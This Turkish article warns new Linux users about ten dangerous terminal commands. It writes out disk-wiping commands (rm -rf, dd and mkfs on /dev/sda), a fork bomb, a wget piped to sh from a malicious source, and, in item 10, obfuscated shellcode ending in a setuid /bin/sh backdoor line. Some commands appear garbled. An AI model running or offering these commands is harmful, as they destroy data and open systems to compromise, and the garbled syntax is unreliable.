Daha once Linux işletim sistemi kullandıysanız, platformun Windows'tan daha bağımsız olduğunu biliyorsunuzdur. Linux acık kaynaklı bir işletim sistemi ve kullanıcılara farklı işlemler gercekleştirme konusunda yeterli ozgurluğu sağlıyor. Ancak Linux, ilk kez kullananlar icin bir o kadar da zorlu bir sistem olabilir.
Tıpkı Windows'ta olduğu gibi Linux'ta da farklı işlemleri gercekleştirmek icin kullanabileceğiniz bircok terminal komutu var. Ancak Windows'un aksine, Linux, sisteminize zarar verebilecek herhangi bir komut calıştırıp calıştırmadığınızı onaylamanızı istemiyor. Bu nedenle, aşağıdaki komutlardan kacınmanızı oneririz.
[h=2]İşte kullanmanızı onermediğimiz en tehlikeli 10 Linux terminal komutu:[/h]
[h=2]1. rm -rf[/h] rm -rf komutu, bir klasoru ve iceriğini silmek icin en hızlı yollardan biri. Ancak kucuk bir yazım hatası veya bilgisizlik, işletim sisteminizde geri donuşu olmayan bir hasara neden olabilir. rm komutuyla kullanılan seceneklerden bazıları, rm -r komutunda olduğu gibi, klasoru olduğu gibi siler. Hatta boş klasoru bile siler. rm -f komutu da salt okunur dosyaları ve kok dizinde bulunan tum dosyaları silebilir.
[h=2]2. : () ;:[/h] Yukarıdaki komut aslında bir fork bomb saldırısı. On planda ve arka planda bir kez olmak uzere iki kez cağrılan bir fonksiyon tanımlayarak calışır. Basitce komutu acıklamak gerekirse; ) ile bir fonksiyon tanımlanır, |: ile fonksiyon kendi icinden cağırılır ve & ile arkaplanda calışması sağlanır, ; fonksiyonu sonlandırır ve : ile fonksiyon cağırılır. Sistem donuncaya kadar tekrar tekrar calışmaya devam eder.
[h=2]3. command> / dev / sda[/h] Yukarıdaki komut, / dev / sda dizinine komutun cıktısını yazar. Komut işlenmemiş verileri yazar ve dizindeki tum dosyalar işlenmemiş verilerle değiştirilir. Boylece blokta toplam veri kaybı olur.
[h=2]4. mv directory / dev / null[/h] Bu komut temel olarak tum dosyaları / dev / null dizinine taşır. Evet, diğer bir deyişle tum dosyaların sistemden kaldırılması anlamına gelir.

[h=2]5. wget http: // malicious_source -O | sh[/h] Yukarıdaki komut, kotu amaclı bir kaynaktan komut dosyası indirir ve daha sonra sisteminizde calıştırır. wget komutu dosyayı indirecek ve sh komutu ise indirilen dosyayı sisteminizde acacaktır.
[h=2]6. Mkfs.ext3 / dev / sda[/h] Bu komut ise yalnızca 'sda' bloğunu bicimlendirir ve yukarıdaki komutu calıştırdıktan sonra sabit disk surucunuzun sıfırlanacağını bilmelisiniz. Veriler silinince sistem kurtarılamaz şekilde kalır.
[h=2]7. > File[/h] > File komutu dosya iceriğini serbest bırakmak icin kullanılır. Eğer bir yazım hatası veya yanlışlık sonucu > xt.conf olarak yurutulurse, yapılandırma dosyasını veya başka bir sistem dosyasını yazabilir.
[h=2]8. ^ foo ^ bar[/h] Bu komut, tum komutu yeniden yazmanıza gerek kalmadan onceki komutu duzenlemek icin kullanılır. Ancak komutu kullanarak onceki komuttaki değişikliği dikkatlice kontrol etmezseniz risk alırsınız ve gercekten sorunlu olabilir.
[h=2]9. dd if = / dev / random of = / dev / sda[/h] Yukarıdaki komutu / dev / sda olarak bitirirseniz ve blok icin rastgele veri yazacaktır. Tabii ki bunun sonucunda sisteminiz tutarsız ve kurtarılamaz bir noktaya gelecek.
[h=2]10. Gorunmez Komutlar[/h] Aşağıdaki komut, aslında bu yazıdaki ilk komuttan (rm-rf) başka bir şey değil. Kodu terminale yazmanız halinde kok dizini tertemiz yapar cıkarsınız. Aslında tehdidin gizlenebileceğini ve bazen bazen tespit edilemeyeceğini gosteriyor. Ne yaptığınızı ve sonucun ne olacağını bilemezsiniz. Bilinmeyen bir kaynaktan kod derleme / calıştırma yapmayın.
char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″ “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″ “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″ “x56x04xf7x56x08xf7x56x0cx83xc4x74x56″ “x8dx73x08x56x53x54x59xb0x0bxcdx80x31″ “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″ “x6ex2fx73x68x00x2dx63x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;